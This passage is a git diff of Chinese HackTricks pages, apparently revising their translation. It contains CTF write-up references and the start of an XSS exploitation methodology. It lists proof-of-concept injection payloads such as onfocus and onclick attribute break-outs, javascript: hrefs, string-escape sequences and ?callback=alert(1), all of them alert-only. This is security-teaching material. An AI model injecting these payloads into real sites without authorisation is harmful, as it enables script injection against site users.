<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击!</strong></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
支持HackTricks的其他方式:
|
支持HackTricks的其他方式:
|
||||||
|
|
||||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** 上**关注我。
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,19 +2,19 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 您在**网络安全公司**工作吗? 想要在HackTricks中看到您的**公司广告**? 或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
* **通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
从[https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)中获取的利用方法。
|
**利用来源:[https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)**
|
||||||
|
|
||||||
在这个挑战中,用户可以发送成千上万个字符,如果包含了flag,这些字符将被发送回给机器人。因此,通过发送大量字符,攻击者可以判断发送的字符串中是否包含flag。
|
在这个挑战中,用户可以发送数千个字符,如果包含标志,则字符将被发送回给机器人。 因此,通过发送大量字符,攻击者可以测量发送的字符串中是否包含标志。
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
最初,我没有设置对象的宽度和高度,但后来发现这很重要,因为默认大小太小,无法在加载时间上产生差异。
|
最初,我没有设置对象的宽度和高度,但后来发现这很重要,因为默认大小太小,无法在加载时间上产生差异。
|
||||||
|
@ -116,12 +116,12 @@ main()
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 你在**网络安全公司**工作吗?想要看到你的**公司在HackTricks中被宣传**吗?或者想要访问**PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 探索我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**Telegram群组**](https://t.me/peass) 或者 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) **Discord群**](https://discord.gg/hRep4RUj7f) 或 **电报群**](https://t.me/peass) 或 **在Twitter上关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
* **通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,17 +2,17 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者想要**获取 PEASS 的最新版本或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 您在**网络安全公司**工作吗? 想要在HackTricks中看到您的**公司广告**? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS和HackTricks周边**](https://peass.creator-spring.com)
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **通过向**[**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
* 通过向**hacktricks repo**和**hacktricks-cloud repo**提交PR来**分享您的黑客技巧**。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
示例来自[https://ctf.zeyu2001.com/2022/nitectf-2022/js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api)
|
**示例取自[https://ctf.zeyu2001.com/2022/nitectf-2022/js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api)**
|
||||||
```javascript
|
```javascript
|
||||||
const sleep = (ms) => new Promise((res) => setTimeout(res, ms));
|
const sleep = (ms) => new Promise((res) => setTimeout(res, ms));
|
||||||
|
|
||||||
|
@ -56,12 +56,12 @@ document.addEventListener('DOMContentLoaded', main);
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* 你在一家 **网络安全公司** 工作吗?想要在 HackTricks 中 **宣传你的公司** 吗?或者你想要获取 **PEASS 的最新版本或下载 HackTricks 的 PDF** 吗?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 你在**网络安全公司**工作吗?想要看到你的**公司在HackTricks中被宣传**吗?或者想要访问**PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品。
|
||||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)。
|
||||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者在 **Twitter** 上 **关注** 我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我在**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
* **通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧**。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,81 +1,81 @@
|
||||||
# XSS (跨站脚本攻击)
|
# XSS(跨站脚本)
|
||||||
|
|
||||||
/<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">
|
/<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">
|
||||||
|
|
||||||
**Bug bounty tip**: 注册 **Intigriti**,一个由黑客创建,为黑客服务的优质**漏洞赏金平台**!立即加入我们 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达 **$100,000** 的赏金!
|
**漏洞赏金提示**:**注册**Intigriti,这是一个由黑客创建的高级**漏洞赏金平台**!立即加入我们,访问[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达**$100,000**的赏金!
|
||||||
|
|
||||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||||
|
|
||||||
## 方法论
|
## 方法论
|
||||||
|
|
||||||
1. 检查你控制的**任何值**(_参数_、_路径_、_头部_?、_cookies_?)是否在HTML中**反映**或被**JS**代码**使用**。
|
1. 检查您控制的**任何值**(_参数_、_路径_、_标头_?、_Cookie_?)是否在HTML中**反射**或被**JS**代码使用。
|
||||||
2. **找到反映/使用的上下文**。
|
2. 找到**反映/使用**该值的**上下文**。
|
||||||
3. 如果**反映**:
|
3. 如果**反映**
|
||||||
1. 检查**你能使用哪些符号**,根据这个准备payload:
|
1. 检查**可以使用哪些符号**,并根据此准备有效载荷:
|
||||||
1. 在**原始HTML**中:
|
1. 在**原始HTML**中:
|
||||||
1. 你能创建新的HTML标签吗?
|
1. 您能创建新的HTML标签吗?
|
||||||
2. 你能使用支持`javascript:`协议的事件或属性吗?
|
2. 您能使用支持`javascript:`协议的事件或属性吗?
|
||||||
3. 你能绕过保护吗?
|
3. 您能绕过保护措施吗?
|
||||||
4. HTML内容是否被任何客户端JS引擎(_AngularJS_、_VueJS_、_Mavo_...)解释,你可以滥用[**客户端模板注入**](../client-side-template-injection-csti.md)。
|
4. HTML内容是否由任何客户端JS引擎(_AngularJS_、_VueJS_、_Mavo_...)解释,您可以滥用[**客户端模板注入**](../client-side-template-injection-csti.md)。
|
||||||
5. 如果你不能创建执行JS代码的HTML标签,你能滥用[**悬挂标记 - HTML无脚本注入**](../dangling-markup-html-scriptless-injection/)吗?
|
5. 如果无法创建执行JS代码的HTML标签,您能否滥用[**悬挂标记 - HTML无脚本注入**](../dangling-markup-html-scriptless-injection/)?
|
||||||
2. 在**HTML标签内**:
|
2. 在**HTML标签内**:
|
||||||
1. 你能退出到原始HTML上下文吗?
|
1. 您能退出到原始HTML上下文吗?
|
||||||
2. 你能创建新的事件/属性来执行JS代码吗?
|
2. 您能创建新的事件/属性来执行JS代码吗?
|
||||||
3. 你被困的属性是否支持JS执行?
|
3. 您被困在的属性是否支持JS执行?
|
||||||
4. 你能绕过保护吗?
|
4. 您能绕过保护措施吗?
|
||||||
3. 在**JavaScript代码**中:
|
3. 在**JavaScript代码内**:
|
||||||
1. 你能逃离`<script>`标签吗?
|
1. 您能转义`<script>`标签吗?
|
||||||
2. 你能逃离字符串并执行不同的JS代码吗?
|
2. 您能转义字符串并执行不同的JS代码吗?
|
||||||
3. 你的输入是否在模板字面量``中?
|
3. 您的输入是否在模板文字\`\`中?
|
||||||
4. 你能绕过保护吗?
|
4. 您能绕过保护措施吗?
|
||||||
2. 正在**执行**的Javascript**函数**:
|
4. 正在**执行的**Javascript **函数**
|
||||||
1. 你可以指定要执行的函数名称。例如:`?callback=alert(1)`
|
1. 您可以指定要执行的函数名称。例如:`?callback=alert(1)`
|
||||||
4. 如果**使用**:
|
4. 如果**被使用**:
|
||||||
1. 你可以利用**DOM XSS**,注意你的输入如何被控制,以及你的**受控输入是否被任何sink使用**。
|
1. 您可以利用**DOM XSS**,注意您的输入如何受控以及您的**受控输入是否被任何接收器使用**。
|
||||||
|
|
||||||
在处理复杂的XSS时,了解以下内容可能会有帮助:
|
在处理复杂的XSS时,您可能会发现以下内容很有趣:
|
||||||
|
|
||||||
{% content-ref url="debugging-client-side-js.md" %}
|
{% content-ref url="debugging-client-side-js.md" %}
|
||||||
[debugging-client-side-js.md](debugging-client-side-js.md)
|
[debugging-client-side-js.md](debugging-client-side-js.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## 反映的值
|
## 反射值
|
||||||
|
|
||||||
要成功利用XSS,你首先需要找到一个**由你控制且在网页中反映**的**值**。
|
要成功利用XSS,首先需要找到的是一个**由您控制且在网页中反映**的值。
|
||||||
|
|
||||||
* **中间反映**:如果你发现参数的值或甚至路径在网页中被反映,你可以利用**反射型XSS**。
|
* **中间反射**:如果发现参数的值甚至路径的值在网页中反映,您可以利用**反射型XSS**。
|
||||||
* **存储并反映**:如果你发现你控制的值被服务器保存并在你每次访问页面时反映,你可以利用**存储型XSS**。
|
* **存储和反射**:如果发现您控制的值保存在服务器中,并且每次访问页面时都会反映,您可以利用**存储型XSS**。
|
||||||
* **通过JS访问**:如果你发现你控制的值通过JS被访问,你可以利用**DOM XSS**。
|
* **通过JS访问**:如果发现您控制的值正在使用JS访问,您可以利用**DOM XSS**。
|
||||||
|
|
||||||
## 上下文
|
## 上下文
|
||||||
|
|
||||||
在尝试利用XSS时,你首先需要知道的是**你的输入在哪里被反映**。根据上下文,你将能够以不同的方式执行任意JS代码。
|
在尝试利用XSS时,首先需要了解**您的输入在哪里被反映**。根据上下文,您将能够以不同方式执行任意JS代码。
|
||||||
|
|
||||||
### 原始HTML
|
### 原始HTML
|
||||||
|
|
||||||
如果你的输入**反映在原始HTML**页面上,你将需要滥用某些**HTML标签**来执行JS代码:`<img`、`<iframe`、`<svg`、`<script`... 这些只是你可能使用的许多HTML标签中的一些。\
|
如果您的输入在**原始HTML**页面上反映,您需要滥用一些**HTML标签**以执行JS代码:`<img`、`<iframe`、`<svg`、`<script` ... 这些只是您可以使用的许多可能的HTML标签。\
|
||||||
同时,记住[客户端模板注入](../client-side-template-injection-csti.md)。
|
此外,请记住[客户端模板注入](../client-side-template-injection-csti.md)。
|
||||||
|
|
||||||
### 在HTML标签属性内
|
### 在HTML标签属性内部
|
||||||
|
|
||||||
如果你的输入反映在标签属性的值内,你可以尝试:
|
如果您的输入反映在标签属性的值内部,您可以尝试:
|
||||||
|
|
||||||
1. **逃离属性和标签**(然后你将处于原始HTML中)并创建新的HTML标签来滥用:`"><img [...]`
|
1. **从属性和标签中逃脱**(然后您将处于原始HTML中)并创建新的HTML标签以滥用:`"><img [...]`
|
||||||
2. 如果你**能逃离属性但不能逃离标签**(`>`被编码或删除),根据标签,你可以**创建一个事件**来执行JS代码:`" autofocus onfocus=alert(1) x="`
|
2. 如果您**可以从属性中逃脱但无法从标签中逃脱**(`>`被编码或删除),根据标签,您可以**创建一个事件**来执行JS代码:`" autofocus onfocus=alert(1) x="`
|
||||||
3. 如果你**不能逃离属性**(`"`被编码或删除),那么根据**你的值反映在哪个属性中**以及**你是否控制全部值或只是一部分**,你将能够滥用它。例如,如果你控制一个事件如`onclick=`,当它被点击时你将能够使其执行任意代码。另一个有趣的**例子**是属性`href`,你可以使用`javascript:`协议来执行任意代码:**`href="javascript:alert(1)"`**
|
3. 如果您**无法从属性中逃脱**(`"`被编码或删除),则根据**反映您的值的属性**,如果您控制所有值或仅一部分,您将能够滥用它。例如,如果您控制像`onclick=`这样的事件,您将能够使其在单击时执行任意代码。另一个有趣的**示例**是`href`属性,您可以使用`javascript:`协议来执行任意代码:**`href="javascript:alert(1)"`**
|
||||||
4. 如果你的输入反映在“**不可利用的标签**”内,你可以尝试使用**`accesskey`**技巧来滥用漏洞(你将需要某种社会工程来利用这个):**`" accesskey="x" onclick="alert(1)" x="`**
|
4. 如果您的输入反映在“**无法利用的标记**”内,您可以尝试使用**`accesskey`**技巧来滥用漏洞(您需要某种社会工程师来利用此漏洞):**`" accesskey="x" onclick="alert(1)" x="`**
|
||||||
|
|
||||||
### 在JavaScript代码内
|
### 在JavaScript代码内部
|
||||||
|
|
||||||
在这种情况下,你的输入反映在HTML页面的**`<script> [...] </script>`**标签之间,在`.js`文件中或在使用**`javascript:`**协议的属性内:
|
在这种情况下,您的输入在HTML页面的**`<script> [...] </script>`**标记之间反映,在`.js`文件内部或使用**`javascript:`**协议的属性内部:
|
||||||
|
|
||||||
* 如果反映在**`<script> [...] </script>`**标签之间,即使你的输入在任何类型的引号内,你也可以尝试注入`</script>`并逃离这个上下文。这有效是因为**浏览器将首先解析HTML标签**然后是内容,因此,它不会注意到你注入的`</script>`标签在HTML代码内。
|
* 如果在**`<script> [...] </script>`**标记之间反映,即使您的输入在任何引号中,您可以尝试注入`</script>`并从此上下文中逃脱。这是因为**浏览器首先解析HTML标记**,然后解析内容,因此,它不会注意到您注入的`</script>`标记位于HTML代码内部。
|
||||||
* 如果反映**在JS字符串内**且上一个技巧不起作用,你需要**退出**字符串,**执行**你的代码,并**重构**JS代码(如果有任何错误,它将不会执行):
|
* 如果在**JS字符串内部反映**且上述技巧不起作用,则需要**退出**字符串,**执行**您的代码并**重建**JS代码(如果有任何错误,它将不会被执行:
|
||||||
* `'-alert(1)-'`
|
* `'-alert(1)-'`
|
||||||
* `';-alert(1)//`
|
* `';-alert(1)//`
|
||||||
* `\';alert(1)//`
|
* `\';alert(1)//`
|
||||||
* 如果反映在模板字面量内,你可以使用`${ ... }`语法**嵌入JS表达式**:`` var greetings = `Hello, ${alert(1)}` ``
|
* 如果在模板文字内部反映,您可以使用`${ ... }`语法**嵌入JS表达式**:`` var greetings = `Hello, ${alert(1)}` ``
|
||||||
* **Unicode编码**可以用来编写**有效的javascript代码**:
|
* **Unicode编码**可用于编写**有效的javascript代码**:
|
||||||
```javascript
|
```javascript
|
||||||
\u{61}lert(1)
|
\u{61}lert(1)
|
||||||
\u0061lert(1)
|
\u0061lert(1)
|
||||||
|
@ -83,8 +83,8 @@
|
||||||
```
|
```
|
||||||
#### Javascript 提升
|
#### Javascript 提升
|
||||||
|
|
||||||
Javascript 提升指的是**在使用函数、变量或类之后再声明它们的机会,因此你可以利用 XSS 使用未声明的变量或函数的场景。**\
|
Javascript 提升指的是**在使用函数、变量或类之后声明它们的机会,因此您可以利用 XSS 正在使用未声明的变量或函数的情况。**\
|
||||||
**更多信息请查看以下页面:**
|
**查看以下页面获取更多信息:**
|
||||||
|
|
||||||
{% content-ref url="js-hoisting.md" %}
|
{% content-ref url="js-hoisting.md" %}
|
||||||
[js-hoisting.md](js-hoisting.md)
|
[js-hoisting.md](js-hoisting.md)
|
||||||
|
@ -92,19 +92,19 @@ Javascript 提升指的是**在使用函数、变量或类之后再声明它们
|
||||||
|
|
||||||
### Javascript 函数
|
### Javascript 函数
|
||||||
|
|
||||||
许多网页有端点**接受函数名作为参数来执行**。一个常见的例子是:`?callback=callbackFunc`。
|
一些网页端点**接受函数名称作为参数来执行**。在实际中常见的示例是类似这样的:`?callback=callbackFunc`。
|
||||||
|
|
||||||
要发现用户直接提供的内容是否尝试被执行,一个好方法是**修改参数值**(例如改为'Vulnerable'),然后在控制台查找错误,如:
|
要找出用户直接提供的内容是否尝试执行,一个好方法是**修改参数值**(例如改为 'Vulnerable'),然后在控制台查看是否有错误,如下所示:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (651) (2).png>)
|
![](<../../.gitbook/assets/image (651) (2).png>)
|
||||||
|
|
||||||
如果存在漏洞,你可以通过发送值:**`?callback=alert(1)`** 来**触发警告**。然而,这些端点通常会**验证内容**,只允许字母、数字、点和下划线(**`[\w\._]`**)。
|
如果存在漏洞,您可以通过发送值**`?callback=alert(1)`**来**触发警报**。然而,这些端点通常会**验证内容**,只允许字母、数字、点和下划线(**`[\w\._]`**)。
|
||||||
|
|
||||||
即便有这样的限制,仍然可以执行一些操作。这是因为你可以使用这些有效字符来**访问 DOM 中的任何元素**:
|
然而,即使有这种限制,仍然可以执行一些操作。这是因为您可以使用这些有效字符来**访问 DOM 中的任何元素**:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (662).png>)
|
![](<../../.gitbook/assets/image (662).png>)
|
||||||
|
|
||||||
以下是一些有用的函数:
|
一些有用的函数包括:
|
||||||
```
|
```
|
||||||
firstElementChild
|
firstElementChild
|
||||||
lastElementChild
|
lastElementChild
|
||||||
|
@ -112,11 +112,11 @@ nextElementSibiling
|
||||||
lastElementSibiling
|
lastElementSibiling
|
||||||
parentElement
|
parentElement
|
||||||
```
|
```
|
||||||
您还可以尝试**直接触发 Javascript 函数**:`obj.sales.delOrders`。
|
您还可以尝试直接**触发Javascript函数**:`obj.sales.delOrders`。
|
||||||
|
|
||||||
然而,通常执行指定函数的端点没有太多有趣的 DOM,**同源的其他页面**将有**更有趣的 DOM**来执行更多操作。
|
然而,通常执行指定函数的端点是**没有太多有趣DOM**的端点,**同一源中的其他页面**将具有**更有趣的DOM**以执行更多操作。
|
||||||
|
|
||||||
因此,为了在**不同的 DOM 中滥用这个漏洞**,开发了**同源方法执行 (SOME)** 利用技术:
|
因此,为了在不同DOM中**滥用此漏洞**,开发了**同源方法执行(SOME)**利用:
|
||||||
|
|
||||||
{% content-ref url="some-same-origin-method-execution.md" %}
|
{% content-ref url="some-same-origin-method-execution.md" %}
|
||||||
[some-same-origin-method-execution.md](some-same-origin-method-execution.md)
|
[some-same-origin-method-execution.md](some-same-origin-method-execution.md)
|
||||||
|
@ -124,15 +124,15 @@ parentElement
|
||||||
|
|
||||||
### DOM
|
### DOM
|
||||||
|
|
||||||
存在**JS 代码**不安全地使用了攻击者控制的一些数据,如 `location.href`。攻击者可以利用这一点执行任意 JS 代码。
|
